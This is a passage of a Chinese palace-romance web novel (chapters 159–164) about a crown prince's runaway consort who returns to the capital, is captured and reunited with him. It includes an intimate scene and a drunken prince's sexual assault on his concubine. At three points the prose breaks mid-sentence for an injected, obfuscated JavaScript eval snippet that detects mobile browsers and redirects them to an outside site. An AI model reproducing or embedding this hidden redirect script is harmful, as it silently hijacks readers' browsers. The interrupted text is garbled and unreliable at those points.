“惠贵妃”转身要走,却被江止压着嗓音叫住。 “美人儿,你馒头掉了。” 第159章 狭路相逢 “惠贵妃”紧忙低头瞧了眼自己的胸。 一边儿高,一边儿平。 高的那边儿还偏了位置。 始料不及的状况让“惠贵妃”呆愣在那里,捂着平的那一处,一时之间不知该如何应对。 倒是江止,踱步上前,主动将那馒头给塞了回去。 事了,他拍了拍对方的胸脯,痞笑调侃。 “这利器好啊,饿了还能自己啃一口,下回可得塞好了。” 男扮狐妖的身份既已暴露,“惠贵妃”索性也不装了。 在江止欲要去抓那只白猫时,“惠贵妃”终于开口说话了。 “站站站站,站住!” “你你你,你二,二二人,做做做,做什,什什什么的?” 江箐珂一听,在帷帽下暗自吁了口气。 她庆幸自己反应够及时,才没有被谷丰发现。 江止明显也听出了此人就是谷丰,将抓到的白猫塞给江箐珂后,转身抬起双臂,懒步转了一圈,给谷丰看了眼他一身的行头,还甩了几张符纸给他。 最后捋着八撇胡,又顺了顺下巴上的假胡子,端起了道士的腔调。 “贫道乃太白山太白观弟子是也。” “近日听闻京城有妖物作祟,特奉道心而来,欲擒邪祟,以靖天子之安,庇黎庶之生。” 谷丰不自在地用手推了推胸前的两个大馒头,摆正位置后,拿着未出鞘的剑指向江止。 “跟,跟跟,跟我,走,走走,走一趟。” 江止知晓谷丰担心事情败露传出去,会坏了李玄尧的计划,遂替他打起圆场来。 “何必呢!” “想来小兄弟也定是同道中人,故意扮成女子夜行,来诱妖收妖的吧?” 谷丰压根不吃这一套。 拔剑出鞘,直指江止。 “少少少,少废,废废,废话!” 话落,他又掏出一个信号弹。 用牙扯开绳索,信号嗖地一声冲天,登时照亮了大半个夜空。 谷丰说打就打,丝毫不留任何商量的余地。 桃木剑在手中耍了几个剑花,江止接连格挡了谷丰几剑。 可几剑扛过,一把桃木剑愣是被砍成了好几截。 见状,江箐珂将滚灯朝谷丰砸去。 寒光闪过,滚灯被剑斜劈成两半,烛火也被剑气瞬间冲灭。 江箐珂扔下怀里的猫,趁机偷袭。 她一只腿绕到谷丰的脚后跟,来了个漂亮的过肩摔后,抓起江止的手,飞也似的朝巷口跑去。 却在巷口被突然出现的四个“惠贵妃”和四条白狐围堵。 “露,露露露,露馅儿了。” “抓抓抓,抓他们。” “封封封封,封口!” 谷丰从地上爬起来,一手揉着屁股,一手掏出被压扁的馒头,随手扔到一旁,并朝江箐珂和江止身后疾步而来。 前面四个人则提着剑,步步紧逼。 身后方,除了谷丰,便是巷子里那堵高高的墙。 当真是逃无可逃。 江箐珂和江止背靠着背,前后左右打量了一番。 二对五。 还好。 江止小声道:“我三,你二。” “......” 江箐珂翻了白眼,“你二!” 话落,她便朝着一个“惠贵妃”主动冲去。 长剑径直刺来,她身形一侧,险险避过。 剑锋贴面掠过之际,随风而动的帷帽垂纱被剑气削断了半截。 而她却抓准时机,扣住对方手腕,猛然一折,反压到那人背后。 只听“咯噔”一声脆响,那人手臂便被她生生卸得脱了臼。 江箐珂顺势夺下长剑,开始与另外两人对打。 终究是东宫贴身侍卫,各个身手了得。 江箐珂与江止虽然也是上阵杀过敌的,可若想在不杀死对方的情况,彻底甩掉难缠的东宫侍卫,着实不是一件易事。 看得出李玄尧的这几个手下是忠心护主的,很怕九尾狐妖的谣言真相被暴露,拼了命地要把他们这两个“道士”给活捉或者弄死。 月光静谧如水,夜幕之下却是刀戈相向。 两伙人跑得激烈,追得激烈,打得也激烈。 哼哼哈哈、铿铿锵锵,动静闹得大了,引得好信儿的百姓纷纷将门窗推开个缝,从里面窥探着外面的情形。 花瓣混着数不清的符纸满天飞,落在他们的眼里,眼下便是两个甚为狼狈的道士,被九尾狐妖的几个分身,追得满城跑。 直跑,左拐,再右转...... 从一条街穿到另一条街,从一个坊跑到另一个坊,直到把那几个人甩得没了踪影。 江止和江箐珂累得半死,蹲坐在黑暗的角落里缓了好一会儿,才小心翼翼地回了客栈。 推开房门的那刹那,黑漆漆的房内,有张大网猝然兜面而来。 逃不掉,终归是逃不掉。 大网之后,又是个黑布袋子兜头而下。 熟悉的嗓音随即入耳:“失礼了,我家主子想与二位道长一会。” 这高冷又装腔的语调,不是谷羽,还能是谁? 第160章 一定得走吗 江止尚不知情,气恼的声音从布袋里传出。 “你家主人谁啊?” “他妈的中邪了,请人一见的方式这么邪儿门。” 谷羽也不睬他,同其他手下下令:“绑起来,带回去。” 双手被反捆在身后,黑布袋罩着头。 视线受阻,唯有哒哒的马蹄声和车轮轧过石板路的声响,从马车外传来,清晰无比地飘进耳内。 身子随着马车摇摇晃晃,可以感知到先是直走了一段路,然后是右拐,直走,再左拐...... 甭管怎么拐,总之是朝着皇宫的方向去的。 江箐珂与江止背靠着背坐在马车里,紧捆住的双手开始小心翼翼地给对方解绳子。 小动作刚开始没多久,冰冷的剑鞘就隔在了两人双手之间。 谷羽似乎尚不知晓他二人的身份,说起话来,语调也冷硬许多。 “劝二位道长安分点儿,否则,直接剁了你们的手。” 江箐珂怕江止受罚吃苦头,便夹着嗓子好声相求。 “你家主人有事,请我一人去便可,不如放了我师兄。” 谷羽声色高冷道:“少废话!我家主子说见二位,那就是二位,一个不能少。再多嘴,舌头给你们割了。” “......” 半炷香不到,江箐珂与江止便被带入了东宫。 也不知是东宫的何处,江箐珂和江止被按跪在地上,周遭安静了良久,直到门吱呀而开,有脚步声伴着龙涎香从身边经过。 “殿下,两个造谣的道士,属下找到了。” 谷羽恭声同李玄尧将事情的经过禀报了一遍。 “属下也是运气好,问了几处,正好遇到一个小县城的官吏说见过这两位小道士,说他二人要来京城,还给办了两份通关文牒给他们。” “于是,属下便连忙带人回京城四下寻问,最后在一家小客栈,找到了二人。” 言毕,江箐珂头上的黑布袋子被人扯掉,连带着那顶遮颜的帷帽也被一同扯了下去。 眼前骤然一亮,通明的灯火刺得江箐珂睁不开眼睛。 她将头压得很低,微微眯着眼,过了片刻,才适应殿内的光线。 怯怯抬眸,她朝身前瞧去,不出所料地与李玄尧那锋锐森冷的眸子撞个正着。 四目交错,江箐珂像是被李玄尧的眼神烫了一下,隐隐抽痛。 而李玄尧似乎早有预料似的,从容平静,脸上并未任何情绪变化。 一旁的谷羽看清江箐珂的脸后,倒是惊诧惶恐起来。 “是太子妃?” 谷羽立马下跪请罪。 “不知是太子妃,刚刚属下多有得罪,还请太子妃恕罪。” 转头看向江止,谷羽立刻上前,扯掉他脸上的胡子,疼得江止呲牙咧嘴地喊痛。 “江大公子?” 江止咬着后槽牙,没好气地冲谷羽凶道:“你他妈的下手轻点会死啊?” 言落,他懒洋洋地跪坐在地上,歪着头,表情颓丧,一副任杀任剐的架势倒像个无良道士。 事到如今,江箐珂也是破罐子破摔了。 目光收回,江箐珂将头低得不能再低。 自己主动逃离京城的,现在又自己主动回京城,任谁听了,都会觉得很可笑。 面子没挂住,这下碎了一地。 刚来京城第一天就被抓,她真想挖个地洞钻进去,把自己埋了算了。 她感觉自己就像那孙悟空,永远飞不出如来佛祖的手掌心一样,不管怎么折腾,最终还是会被压在五指山下。 可问题是她被抓受罚不要紧,倒是要连累阿兄江止了。 李玄尧乜了眼江止后,同谷羽挥手示意。 谷羽领命,拖着江止,欲带离书房。 江箐珂怕李玄尧降罪于江止,立马又抬头替江止求情。 “都是我的错,不关阿兄的事。” “要罚要打要杀,都冲我一个人来。” 江止闻言,拖着语调,慢声道:“满满,用不着求。阿兄既然当初答应你,便没怕过这一天。” 李玄尧的目光始终锁定在江箐珂的脸上,压根不在意江止刚刚说了什么。 他挥手朝谷羽示意,让他快点把闲杂人带走。 房门紧闭,偌大的书房内,终于只剩李玄尧和江箐珂二人。 江箐珂又低垂着头跪坐在那里,像个霜打的茄子似的。 沉默和微妙的情愫在烛光中流淌。 不知是不是李玄尧那自身所带的压迫感,还是她心虚、心怯,江箐珂只觉得房内的氛围有些压抑,连带这空气都有了重量似的,压得人不敢大喘气。 良久,一声叹息从头顶传来。 江箐珂抿着唇,鼓起勇气,抬头看向李玄尧。 目光再次对视的那刹那,不知为何,一股酸涩突然在胸腔弥漫开来,迅速漫至喉间,冲得她眼底发酸。 想他,是真的想他。 想得一见到竟然想哭。 唇瓣轻颤,江箐珂偏头看向别处,倔强得不想让李玄尧瞧出她泛红的眼。 可她也不知自己什么时候变得这么脆弱了。 以前父亲和夫子拿戒尺打她时,她哼都不带哼一声,更别提流眼泪疙瘩了。 可自从遇到她的夜颜,眼泪就成了不值钱的东西。 湿热顺着眼角滚落,江箐珂只好又低头遮掩。 可惜双手还被绳子捆在身后,根本无法抬手擦去痕迹。 衣料窸窣,余光里的那个人终于起身,踱步走到她的身前。 微凉的手背蹭过她的面颊,抹去了那一行痕迹。 江箐珂抬头去看他。 李玄尧则俯身蹲下,迎合她的视线高度。 可泪水在眼眶里直打转,模糊了李玄尧的那张脸。 为什么夜颜要是李玄尧呢? 如果不是,该多好。 她有嫁妆,可以养他。 她有江家军,可以护着他。 她有好马,可以带他畅游山河万里。 可惜,他却有江山社稷和使命要去守。 李玄尧打了手语,江箐珂没看清,眨了眨眼,挤出盈在眼里的泪水。 她抽了抽鼻子,哑声问:“你刚才比划什么,我没看清。” 【为什么又回来了?】 江箐珂沉默不语。 主要是没脸答。 李玄尧手语又问。 【是因为担心我?】 江箐珂点了点头:“担心天降谶语害你失势,便想着回来看到你顺利登基后再走。” 双色的目光如有实质,落在江箐珂的脸上,一寸寸地熨帖着每寸肌肤。 李玄尧唇角一勾,适才的森冷锋锐早已荡然无存。 在江箐珂面前,他永远都是那个卸下一身防备,满眼温柔的夜颜。 【既然担心我,为何还要走?】 李玄尧红着眼看她。 【就一定得走吗?】 第161章 再问最后一次 江箐珂垂头不说话,用沉默给了答案。 一辈子说长也不长,说短也不短,谁又能保证人不会变。 她没那个自信。 这才分开多久,就想他想得紧。 若日子长了,他每晚都要去陪宫中不同的女子,留她独守寝殿,那滋味肯定不比现在好受。 李玄尧拦腰将她从地上抱起,走到案桌前,将她放在桌面上。 双手撑在江箐珂的身材,他微微俯身,与她视线相平。 明明在半个时辰前,他还决绝写下了那封《放妻书》,可在看到江箐珂的瞬间,那份决心便又摇晃不定,几欲坍塌。 三次。 就再问她三次。 若她还是坚持要走,就放她离开。 李玄尧凑到江箐珂的耳边,晦涩发紧的嗓子发出粗粒感极强的声响。 虽然很微弱,可随着他的吐息,江箐珂还是听出了那句话。 “留下,好吗?” 温软带着湿热的气息,先后落在她的耳阔和侧颈上,然后又循着她的面颊,蜻蜓点水般地亲了下她的唇角。 鼻尖蹭着鼻尖,那一下下的拱吻,好似无声的追问。 “小满。” 明明是沙哑且又极其难听的声音,却听得江箐珂心头怦然轻颤。 “留下,陪我。” “好吗?” 撑在身侧的双手抬起,捧住她的脸。 李玄尧的亲吻由缓变急,从轻到重,逐渐变得强势而热烈。 他不再问她可否留下,而是换了个问题。 “要吗?” 粗重且逐渐急促的呼吸下,两个字,是近似无声的启唇。 江箐珂趁着喘气的机会,偏头躲开,倔强地摇头说:“不要。” “要吗?” 好似看透了她的心思,李玄尧轻咬她的耳垂,又是很小声很小声地问了一次。 虽是询问,可听起来却像是极其笃定的蛊惑,弄得她耳朵痒痒的,心头和身子也是痒痒的。 灼热的呼吸烘得江箐珂面颊发烫,一双美眸春水潋滟,眼尾早已被情欲染成了糜艳的红。 偏偏她还是说:“不要。” 大手撩起那身道服的衣摆...... 江箐珂因双手仍被困在身后,不得反抗。 她蹙紧眉头,一双雾蒙蒙的眼睛恨恨地瞪着李玄尧。 明明是瞪,却仅有种娇嗔的调调,反倒更惹人怜爱。 “夜颜,求你别闹。” 她哼哼唧唧道:“我两日没净过身了。” 李玄尧置若罔闻。 他亲了下那嘟起来生气的嘴,玩味的眼神里透着几抹得意。 然后做着口型又问她:“想不想?” 江箐珂咬唇隐忍,摇头表示不想。 李玄尧无声笑道:“骗人!” 话落,单手掌控着她的后脑勺,又是亲吻,又是挑逗。 好吧好吧。 江箐珂认输了。 她要。 她想。 于是,便软在了李玄尧的怀里,任由他抱着她去了寝殿,一起泡在浮着花瓣的浴池里。 然后...... 正事开始前,江箐珂趁机求情。 “能别责罚阿兄吗?” 李玄尧痛快地点头应了。 “真的?”她问。 李玄尧手语回她。 【真的。】 【怕你生气,再也不理我。】 其实,李玄尧只是不敢告诉她,他嫉妒江止嫉妒得要死,有时恨不得将此人从她身边抹除,让江止从世上彻底消失。 可他又清楚得很,那么做,只会适得其反。 能怎么办呢? 谁让他心甘情愿地想哄她,只想她的眼泪为他自己流。 缠绵悱恻之时,江箐珂突然冒出个念头。 绑走未来天子,囚禁起来,然后为她一人所有,会是死罪吗? 可这个念头,很快又被李玄尧给撞没了。 他那股牛劲儿,谁能囚禁得了他呀? 挂在角落的两只玄凤鹦鹉又应景地学起了人语,一唱一和,遮掩了殿内的其他声响。 “夜颜喜欢小满。” “葡萄好吃。” “人家要亲亲.....” “轻点!” “找抽是不是。” ...... 九重帐幔隐约透着两个纠缠交叠的身影,缱绻旖旎透过纱幔的缝隙丝丝缕缕地漫溢出来。 恰逢夜风携着花香,透过微敞的轩窗吹入。 九重轻纱帐幔随风翻舞,如烟似雾,彻底泄露了那大圆榻上的一片荼蘼。 如瀑青丝铺散交缠,搭在床边的两只手亦是十指紧扣。 良久,粉白色的鸳鸯肚兜被扔到榻边,极佳的垂感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将《放妻书》收回,李玄尧起身匆匆离开了凤鸾轩。 第162章 野蛮生长 李玄尧前脚刚踏出寝殿,在旁候了许久的喜晴立马跑过来,一把抱住了江箐珂。 “太子妃,奴婢可想死你了。” 江箐珂心里仍惦念着江止。 “阿兄呢,他可还好?” 喜晴宽慰道:“太子妃放心,殿下的人并未为难大公子。” “不仅没有责罚,还给大公子在东宫安排了住处,说是会好吃好喝地供着。” “唯一不好的,就是安排了好几个黑甲卫在守着。” “没有太子殿下的准允,任何人都不得探望。” 这不就是囚禁吗? 但江箐珂清楚,这只是暂时的。 三日后,在她做出决定后,李玄尧自是会放江止自由的。 主仆二人多日不见,便有说不完的话。 “玖儿?”江箐珂重复道。 喜晴用力点头。 “对,为了遮掩太子妃逃出宫的事,花容便把穆大公子从万佛寺带回宫里,把玖儿姑娘易容成太子妃的模样。” “不过太子妃放心,殿下知晓太子妃最不喜别人碰你东西,都是让玖儿姑娘住在芍菡轩的。” “这凤鸾轩,平日里都只有殿下来住,那床也只有殿下睡。” “对了,二小姐和夫人离开京城了,白太傅也顺道跟着去了,也算是新婚之后回西延的将军府归宁。” 江箐珂撇撇嘴,忍不住酸起来。 “这下父亲大人可得高兴坏了,多了个探花郎女婿,还是当朝太傅。” 一双星眸睁得又大又亮,喜晴摇头,不以为然。 “那也未必。” “老爷是武将出身,喜欢的是能提能扛,敢上阵杀敌的儿郎,最是看不上文臣的矫情和惺惺作态。” “要奴婢说啊,比起白太傅,老爷肯定更喜欢太子殿下。” “力大无穷,能打能杀的,大公子跟殿下比都不是个个儿。” “若是有朝一日去了西延,保不齐老爷还会想跟殿下过几招呢?” “不对,到时殿下就是天子了,老爷就算想,也不敢。” 喜晴叽叽喳喳地说个不停。 “还有,奴婢回宫后,还听曹公公说,前些日子万佛寺烧了一场大火,穆良媛和鹂莺都死在了里面。” 穆汐**? 江箐珂听了甚感唏嘘。 可恨之人亦有可怜之处。 可比起这些,江箐珂眼下更担心的是李玄尧能否顺利登基。 贱兮兮地跑回京城,为的不就是这事儿。 “谷丰昨夜抓到的猫和人,如何处置了?” 喜晴答:“听谷丰说,猫和人都关在了太子殿下以前的府邸里了。” “至于如何处理,还要等太子殿下定夺。” 猫妖之谣,江箐珂认为李玄尧派人出面澄清,不如她和阿兄扮成道士出面平息得好。 毕竟,朝廷官府出面,无论说辞如何合理,总会带点朝党之争的色彩,有太子为自身辟谣的嫌疑。 但若用平民百姓的身份出面,玄上加玄,才更有说服力。 遂,待李玄尧午膳回到凤鸾轩时,江箐珂自告奋勇,小嘴叭叭地讲了一番自己的见解。 本以为李玄尧会瞧不上她的主意,却没想到他几指撑着太阳穴,目光专注,耐心地听她把话说完,然后笑容清浅又温柔地点了头。 大敞的轩窗前,他看着她,她瞧着他。 殿内香炉青烟袅袅萦绕,殿外红杏枝头春意闹。 一抹玄色,一抹霞红,点缀其间。 不知是两个美人衬了美景,还是美景点衬着两个美人。 四目相对无言,香气在鼻尖缭绕,正是人间岁月静好时。 好得江箐珂愈发舍不得眼前的人。 长洲城的春色再好看,路上的风景再炫丽,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277157|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似都不如此时的好。 江箐珂倏然想起夜颜曾写给她的那句话。 【纵然满城红紫斗芳菲,却是春风十里不如你。】 这句话返送给他,也不为过。 可江箐珂又太清楚自己想要的是什么,未来想过什么样的生活。 当初是她不懂事,争强好胜,把嫁人当成儿戏,把嫁东宫想得太容易。 因为她只知道带兵打仗,只知道跟着阿兄吃喝玩乐,四处招猫逗狗,调皮捣蛋,只知道跟江箐瑶和张氏争那三瓜两枣,却从没人跟她聊过儿女情长、男欢女爱。 有时江箐珂甚至会想,若是母亲活着,她会不会和现在不一样? 没娘的孩子,果然橡根草,要自行野蛮生长。 江箐珂很了解自己的性子。 其实不管李玄尧是谁,就算不是她的夜颜,未来的某一天,她也会因为受不了宫里的日子,而生出逃离的心思。 不过是早晚的问题,还有逃离方式的不同而已。 走吧,还是......走吧? 啧。 要不留下来,给李玄尧一次机会? 但凡他敢宠幸其他女子,她到时再情断义绝? 不行。 那时她都人老珠黄了。 她若走了,坐热乎的后位给别的女子坐,她生的皇子公主还要被别的女人欺负? 不反倒成全他这个贱男人和那些狐狸精了? 啊!好气! 两个念头在纠结、挣扎间,马车已在那家客栈前停下。 江箐珂下车时,李玄尧突然抓住她的手腕。 他坐在那里,仰着头,明明是一身天子的威凛之气,却眼巴巴地看她,用眼神无声乞求,好像很怕她借机又跑了似的。 江箐珂本就自己想得生气,用力扯回袖子,怏怏不乐道:“放心,冲着你那封放妻书,我也得回来。” 第163章 兔子急了 那客栈掌柜见到江箐珂和江止安然无恙地从两辆马车上下来,立马热情地迎上前来。 “两位道长总算回来了。” “不知是因何事被官家人……” 考虑了下措辞,那掌柜的笑了笑,含蓄道:“请走的?” 掌柜的好奇心正中江箐珂和江止下怀。 江止捋着胡子,煞有介事地说了起来。 “官家知晓我师兄妹二人是来京城捉妖的,见我二人道行极高,特来客栈请我二人入宫相谈。” “请的方式是特别了些,但给的赏银不少。” “看,这边是贫道与师妹于昨夜收伏的猫妖。” 江止将手里提拎的竹框打开。 掌柜探头瞧去,只见一只异瞳白猫正趴在框里。 他指着那猫是一脸的难以置信。 “这,这是……妖?” “就那个犯下数起离奇命案的猫妖?” 江箐珂忽悠道:“别看它长得可爱,要知道,妖就是靠外表迷惑人的。” 掌柜点了点头,饶有兴致地问道:“就是不知二位道长是如何降伏此妖的?” 江箐珂却卖起关子来。 “那就劳烦掌柜的在客栈门口给摆张桌子,再泡上一壶茶,让我和师兄一同给京城的百姓,说一说,道一道。” 掌柜的很是配合。 没多久,小小的客栈门前便围了许多的京城百姓。 江箐珂和江止则一唱一和,编了一段降伏猫妖的故事。 “......此猫妖乃是九尾狐的伴生妖,可以理解是九尾狐养的狸奴。” 这时,便有位妇人扬声插嘴道:“可我今早儿听隔壁打更的老伯说,那猫妖和狐妖昨夜打起来了,若按道长所言,它们是伴生妖,不该和睦相处吗?” 江止立马举了个例子。 “这就好比你家婢女或者闺中密友,跟你看上了同一个男子,你就说你气不气吧,挠不挠她吧?” 那妇人感同身受,愤愤道:“必须挠!” 有个壮汉扬声笑道:“那这妖精的眼光都不怎么样啊,竟看上了打更的老伯,也不嫌肉老。” 江止痞笑揶揄。 “主要是你们夜里也不出门儿啊,不然哪轮得到打更的老伯。” “话说回来,如今这猫妖已经被废了修行,日后贫道与师妹会将它带回道观,交由师祖处置。” 谷昭一副平民扮相,夹在人群中间,故意引出了话茬。 “那九尾狐妖二位道长打算如何降服?” 按照事先编排好的,江止高声回道:“九尾狐妖乃上古神兽,单靠贫道与师妹二人的法力是远远不够的。若想降伏,自要等太子登基即位,借用真命天子的龙气布阵施法,方能**降伏……” …… 客栈前的一番言语,一传十,十传百,不到一日,就通过一张张嘴传进了皇宫。 惠贵妃听后气急败坏。 上好的玲珑茶盏碎了一地,她的怒气却没有平息一分。 “这下好了,只有本宫成了大妖怪!” 惠贵妃用力拍了下茶桌,震得茶壶壶盖轻颤碰撞,发出清脆的声响。 她高声怒道:“穆汐那个**,到底何时开口?” 赵公公尖声细语地答:“贵妃娘娘息怒!户籍和地契前几日便让人快马加鞭送去东营了,或许那秘密正在来的路上呢!” 说来也巧,赵公公的话音刚落,便有宫婢入殿来报。 “贵妃娘娘,十殿下那边派人送了信过来。” 惠贵妃迫不及待地命人将密信呈上。 密信是一张空白的纸。 惠贵妃命赵公公将其泡到水中,很快纸上的字迹逐渐变得清晰起来。 仔细瞧了再瞧,惠贵妃先是怔了一下,随后眼中闪过惊喜,继而是哂笑出声。 薄肩轻抖,笑声也跟着大了几分。 “真是天助我也。” “李玄尧,老天爷都不让你当皇帝,你何必要逆天而行,自寻死路。” 惠贵妃喜出望外,摇头唏嘘。 “若是早知此事,本宫何苦费这般力气?” 然而,就在她得意忘形之时,又一道圣旨赶巧而来。 可谓是自作孽,惠贵妃因自己作出的天降谶语,最终成了九尾妖狐,让衡帝寻到了由头,下旨将她打入冷宫,只待李玄尧登基后,由道士施法布阵,驱除她体内的妖物。 惠贵妃在接下圣旨后,瘫坐在了地上。 半日之间,她从喜极而泣,变成了乐极生悲。 但她很快又撑着赵公公的手,站了起来。 有李玄尧的把柄在手,她还有逆风翻盘的机会。 ** 东营城,刺史府。 明明是春阳融融的大白天,府内却是笙歌不断,酒气熏天。 李铮怀搂着穆汐,与当地的几名地方官员推杯纵饮,酣畅无度。 穆汐一脸死气地坐在那里,仿若自行隔绝在另外一个世界里,若有所思地想着什么。 她也是最近几日恍然想起一件忽略已久的事。 当年,无论是父亲,还是文德皇后,都说是惠贵妃毒哑了她和李玄尧。 但在离开京城前,她曾与惠贵妃秘密见过一次。 言语之间,惠贵妃还问她是如何在宫里被毒哑的。 显然,下毒毒哑她和李玄尧的事,并非惠贵人派人所作,否则她怎会一副全然不知情的模样。 再次回想起当年的诸多细节,穆汐却觉得很多事情巧合得不像是巧合。 考虑到鹂莺受父亲之命要毒杀她,还有这么多年来父亲对她的冷漠、严苛,穆汐想到了一个答案。 是父亲不惜毒哑她,让她以身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280765|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做棋? 正当穆汐想得出神之时,李铮当着别人的面儿开始对她动手动脚。 酒劲儿上头,往往会让人的本性暴露出来。 刚来东营没几天,李铮的谦谦君子之相便再也装不下去了。 赤红的脸,失焦的眼,笑起来时是一副惹人作呕的**之相。 穆汐掩饰心里的厌恶,不动声色地耸了耸一侧的肩头。 她想要挣身退下,却被李铮又给拽回来怀里。 他指着穆汐,打了个酒咯,同其他地方官员嬉皮笑脸地炫耀起来。 “看到没,本王新纳的小妾。” “别看是个哑巴,却是教坊司出来的,伺候男人方面......” 李铮抬手翘起大拇指比了个手势:“是这个!” “不是本王吹,本王......满府的女人,都没有一个......能比得过她。” 有位官员醉眼迷离地朝穆汐瞧了几眼,直着舌头含糊不清地拍起了马屁。 “漂亮,好看!” “不愧是......王爷的小妾,比我家的,糟婆娘......可水灵多了。” 李铮耷拉着脑袋,嘿嘿地笑了一会儿,然后将穆汐推给了那官员。 “以后都是同僚,喜欢的话,本王借你玩玩儿。” 那官员晃晃悠悠地起身,口齿不清地拱手道:“多谢......王爷,好意,下官......不敢。” “有什么不敢的。” 李铮脚步虚浮起身,上前抓住正要往屋外逃的穆汐,然后对着屋内的官员们道:“她贱,最喜欢被人玩儿。” “真的。” “当初就是她......自己脱光了衣服,主动让本王......玩的。” “来,你不是......很会脱吗?” 李铮一边奸笑发着酒疯,一边开始撕扯穆汐的衣服。 “脱啊,脱了给本王和大家乐呵乐呵。” 扒完穆汐的衣服后,李铮步子踉跄地又朝那弹琵琶的歌女而去。 并同屋内的官员们说:“这屋里的女人,随便玩儿,本王赏你们的。” 琵琶女起身要逃,却被李铮扑倒按住...... 几名官员见此,有的悄悄退出了屋子,有的则也抱起女婢舞女,去到角落里行欢。 穆汐捡起地上被扯碎的衣服,勉强遮掩身子,紧忙跑出屋子。 她刚走几步,就被屋里一名肥得流油的官员从身后抱住,拖到了隔壁的房间里。 可没多久,那屋子里便传出凄惨的喊叫声。 很快,房门打开,穆汐满嘴是血地走了出来。 她抬手擦去唇上的血,步子沉稳地朝着她的寝房而去,留着屋内的官员捂着那一处哀嚎。 不会喊、不会叫的兔子,逼急了,也是会下狠咬人的。 第164章 不争气 作为捉妖有功的高人,当着京城百姓的面儿,江箐珂和江止又被请回了宫里。 要批阅的折子都搬到了凤鸾轩,只要江箐珂一抬眼,便能看见在矮榻上认真翻阅奏折的李玄尧。 真是怎么瞧都瞧不腻。 拎起裙裾,江箐珂碎步跑到矮榻前。 麻利脱掉鞋子,她走上去,蹲坐在案桌旁。 数了数那三摞折子,江箐珂眉头紧拧,心疼起李玄尧来。 “折子每天都这么多吗?” 李玄尧颔首回应。 忍不住替他叹了口气,江箐珂撇嘴道:“夜颜,你以后天天都要处理这些无聊的折子,都不会烦吗?要我,我得哭死。” 李玄尧笑了笑,提笔在折册子上写了一行字。 【有小满在,便不会烦,日子也有盼头。】 【所以,留下来,陪我一辈子。】 看着这两行话,说一点不动摇,那是假的。 可在彻底想好前,江箐珂还是不想草率许诺。 她避而不答,水灵灵的大眼睛看向一旁的砚台。 “夜颜,我给你研墨吧。” 也不等李玄尧点头应允,江箐珂便自顾自地在砚台上添了几滴清水。 一手兜起衣袖,一手拿着朱砂墨,在那清水上一圈一圈磨出艳丽的红来。 “除了我自己,我还从未给别人研过墨呢。” 江箐珂笑盈盈同李玄尧道:“你是第一个。” 李玄尧侧头看她笑,刚刚还凝重严肃的眼神,此时却像是浸了蜜,甜得拉丝。 他忍不住抬手掐了掐江箐珂的脸蛋,抬笔浸足了她研出的朱砂墨,然后低头继续赶折子。 墨研得差不多了,江箐珂便绕到李玄尧的后面,开始给他捏肩捶背。 “除了阿兄,我还没给别人捶过背、揉过肩呢。” “阿兄那都是小时候欺负我,逼我给他捶的。” “我阿爹也用不着我给他捶,反正他有张氏和江箐瑶。” “夜颜,你是第一个,我主动想给捶背的人。” 李玄尧听了,停笔,定住。 他眸眼半眯,总感觉怪怪的。 提笔在折册子上草草写了几行字。 握住肩头的一个小拳头,他侧过半个身子,拿起册子问江箐珂。 【你很奇怪。】 【可是有话要说?】 【或有事求我?】 江箐珂摇头,拨开他的手,两个小拳头继续忙活。 “你才奇怪呢。” “非得有事才能给你捶背揉肩了?” “我就是突然想对你好一点儿。” 李玄尧并未因这句话而高兴,相反,落寞浮出眼底,整个人都变得阴郁起来。 “这个力度可以吗?”江箐珂又问。 李玄尧敷衍地点了点头。 喉结滑动,看了眼从各个州县呈递上来的折子,他深吸一口,收敛情绪,继续做他该做的事。 不多时,曹公公又拿着个折子走了进来。 看了眼江箐珂,曹公公的脸上闪过片刻的犹豫,但还是同李玄尧躬身请示。 “启禀殿下,登基大典在即,如今太子妃也已经回宫,不知封后大典该如何安排?” “不过,封后礼服怕是要再赶制一件新的出来。” 李玄尧与江箐珂对视了一眼后,同曹公公吩咐。 【还是暂且推后。】 曹公公随即又将手上的折子呈上。 “殿下登基当日,不仅是太子妃,这东宫里的侧妃、良娣、才人,都要跟着殿下搬离东宫,移居后宫。” “太子妃自是不用说的,定要封后,入住长春宫的。” “但其他几位小主的位分,还有居住的寝殿,还得由太子殿下亲自定夺。” “另外,妙娅公主也定在登基当日入宫,不知该封个什么位分?” 言毕,曹公公偷偷地瞧了眼江箐珂的脸色,却没想到**箐珂瞧个正着,遂立马躬身赔笑。 江箐珂脸上倒是没什么情绪变化。 但刚刚有些松动的心,再次变得坚定起来。 李玄尧接过折子,寥寥几笔,给东宫里的那几位都题了位分,也定好了入住的寝殿,交由曹公公去同内务府安排。 登基在即,李玄尧真的很忙。 批完了折子,刚休息一会儿,便又被衡帝传去了养心殿。 凤鸾轩里,江箐珂坐在摇椅上,蹬着腿,前前后后地晃悠着。 